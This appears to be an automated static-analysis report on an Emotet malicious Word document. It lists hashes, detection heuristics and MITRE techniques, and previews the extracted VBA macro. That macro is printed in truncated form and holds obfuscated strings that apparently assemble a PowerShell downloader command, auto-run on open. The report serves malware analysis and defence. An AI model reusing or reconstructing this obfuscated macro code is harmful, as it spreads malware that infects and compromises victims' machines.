Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 8864996c9486742f…

MALICIOUS

Office (OLE)

94.5 KB Created: 2018-06-20 12:47:00 Authoring application: Microsoft Office Word First seen: 2018-07-14
MD5: ea67fb39246810656e5ff14eb6cc30dc SHA-1: 5c2bcecfada73c1fa42ba835e61a2631128eb889 SHA-256: 8864996c9486742fad98fb3e8d4580c12cbf2aa20f3674b1c0c4eddba7d22324
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-6878566-0'. Critical heuristics indicate the presence of VBA macros with a Shell() call and auto-execution markers (AutoOpen), suggesting an attempt to run malicious code upon opening. The VBA script contains obfuscated strings that appear to construct a PowerShell command, likely for downloading and executing a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6878566-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6878566-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11371 bytes
SHA-256: d020c39749df8551c764172190b0923bfeae4e4b9186f5fe5b6f093d7c4cc66e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "OkjLKPmSnznt"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "mAMYwODSErvVfz"
Function tTHQTAbJQ()
On Error Resume Next
jdBDd = CDate(88208)
EQUWp = 3455
JwFHW = CDate(YWpOOU + Sin(84148 + 43109) * 78550 * CInt(91676))
vhMwI = CByte(BATZz)
aItOp = 97933
aozKB = auMnnu
jvjapGTWD = "OwerSHell  . (" + "(VaRI" + "ABLe '*mDr*').N" + "aMe[" + "3,11,2]-Jo" + "in'')" + " ( ( '13"
MKwkcQ = CDate(19227)
ubHFm = 30746
zUjnGz = CDate(iOLqBU + Sin(80167 + 9989) * 82005 * CInt(86471))
FHwuh = CByte(dpuHHL)
ZpKkzL = 71395
vbbZP = qJNfLA
zdqILja = "U110a9" + "3U68D74}126}74E" + "9N20!9D71}" + "76}94E4D70c75k"
wwkFSO = CDate(76967)
SIVjwm = 73798
aMkSal = CDate(PjQtSQ + Sin(61587 + 96893) * 81261 * CInt(50377))
KLWEI = CByte(PViWaF)
bfsKj = 92935
IHYsl = jRKium
GcTddEKDLz = "67D7" + "6}74E93k9U91N72" + "U71k7" + "7E" + "70U68D18" + "N13D100a" + "99a7" + "4D93k6"
FUwXaK = CDate(91345)
GcmUwq = 83807
zDnWCd = CDate(uiztj + Sin(87669 + 62706) * 801 * CInt(14211))
QwufOF = CByte(XhbFlJ)
GiGwGh = 75087
McwCWh = XiYmC
VLcJfBL = "5c9F20U9N7" + "1F76E94F4N70E" + "75F67a" + "76U74N" + "93a9k122" + "D80c" + "90!93U" + "76a68"
Efswq = CDate(32943)
vBRbd = 16463
YiJPlJ = CDate(sPZZI + Sin(95544 + 94988) * 99053 * CInt(35952))
hZTpuN = CByte(ztdWnw)
DDFnzH = 85073
otupa = UEtfw
wUWlB = "k7a10" + "3N76D93c7c126" + "N76a75F10" + "6a69N64k76" + "!71k93D18F13" + "D67F64" + "}89D99" + "D112F9F2" + "0D9!14}65N9"
NpLriZ = CDate(36489)
RZjlL = 60067
YIhUo = CDate(Infpk + Sin(70291 + 91730) * 33523 * CInt(43526))
zfAaE = CByte(fHzXH)
KZJDJE = 59463
tFuNP = TEVKdU
qpzoD = "3E93F" + "89a19N6" + "D6D69E75a4U" + "79E69a70U"
dwiinZ = CDate(26008)
QSOsm = 46481
Awkmh = CDate(MUzIYQ + Sin(21125 + 33520) * 97239 * CInt(14448))
mXCvS = CByte(wYfFDf)
wjlwEr = 54724
BbTAEf = AAUhG
PMzuKnMO = "70}91D7a74" + "U70c68D6k10" + "8k124" + "F104U104"
mjGiNj = CDate(85329)
FGrBE = 49951
BSfap = CDate(QPivW + Sin(66815 + 52435) * 72955 * CInt(44104))
fOdLzX = CByte(lwtPwT)
JlLlE = 64824
ijViU = dpEoX
auidwscXI = "D9" + "0F113F16F92E1" + "00E6N105a65U9" + "3U93" + "c89D" + "19!6F6a78}94!7"
jopVBB = CDate(21754)
qEjVK = 45119
bEUiB = CDate(LdIBw + Sin(17632 + 72944) * 18699 * CInt(19377))
LTZkCA = CByte(wwiKN)
LjZhX = 41363
UmXvI = Nrqof
wIuqwR = "1F66!95" + "c71k81" + "D94" + "F7F74F7"
tTHQTAbJQ = jvjapGTWD + zdqILja + GcTddEKDLz + VLcJfBL + wUWlB + qpzoD + PMzuKnMO + auidwscXI + wIuqwR
End Function
Function IVwCmwqTp()
On Error Resume Next
dnNupm = CDate(8473)
IjjGjF = 71798
cwOav = CDate(Nlwzo + Sin(41562 + 71175) * 59911 * CInt(73788))
cMEzXi = CByte(BOiPCR)
OFGBaw = 37941
IrQCRr = VRXbTn
FVdILMB = "0E68E6k108" + "E65c30F12" + "6!92D102c90F12" + "4!28D6c1"
YiuzQ = CDate(77672)
sjQiFK = 54442
livjD = CDate(IAPnK + Sin(53145 + 14564) * 41030 * CInt(32381))
GwAYmz = CByte(BDkEt)
jPndhS = 26148
SPuLKi = wAsoL
DWwDBlQwQ = "05" + "N65!93" + "E93a89}19U6F6U9" + "4k94D" + "94k7N68U" + "76k69E70" + "k71c72a74N91a76" + "D72" + "k93U64}70}71c" + "90c7c74!70}"
awfLW = CDate(93430)
GoKEt = 6372
XGtzB = CDate(oawtT + Sin(41631 + 76394) * 93399 * CInt(75279))
adlnH = CByte(chWdz)
UVapW = 72671
XGBEb = ztBIH
NdssiGZmNB = "7N83D72a6a79D" + "122U69" + "}78N9" + "5a" + "108}31N17" + "!6c105U65N93N" + "93F89F19a6E6U94" + "!94N" + "94}" + "7k90k76c77D72U"
HAwtD = CDate(75324)
YfMUEo = 59360
KjPck = CDate(issWZl + Sin(91035 + 72133) * 21418 * CInt(81098))
inDHJG = CByte(XIEVss)
Jjfkc = 36032
wANifF = ALGBfj
cfmik = "93}72}69" + "E89c77" + "c70U71}7" + "6}9" + "1U" + "7U74N70a68c6F12" + "0k1" + "27!12" + "1D112F27c93" + "a6a105U65D93k9"
ZbcMIf = CDate(554)
SHCvBN = 9087
jRGBO = CDate(bDDPX + Sin(74202 + 87728) * 27697 * CInt(71107))
wVwKC = CByte(DZlidj)
YJfQi = 92746
VjwVF = qaICAz
msjpvoiZM = "3F89U19}6U6}" + "94F94F94}7k68E" + "76a92N74U70!7" + "1F93k91k7
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.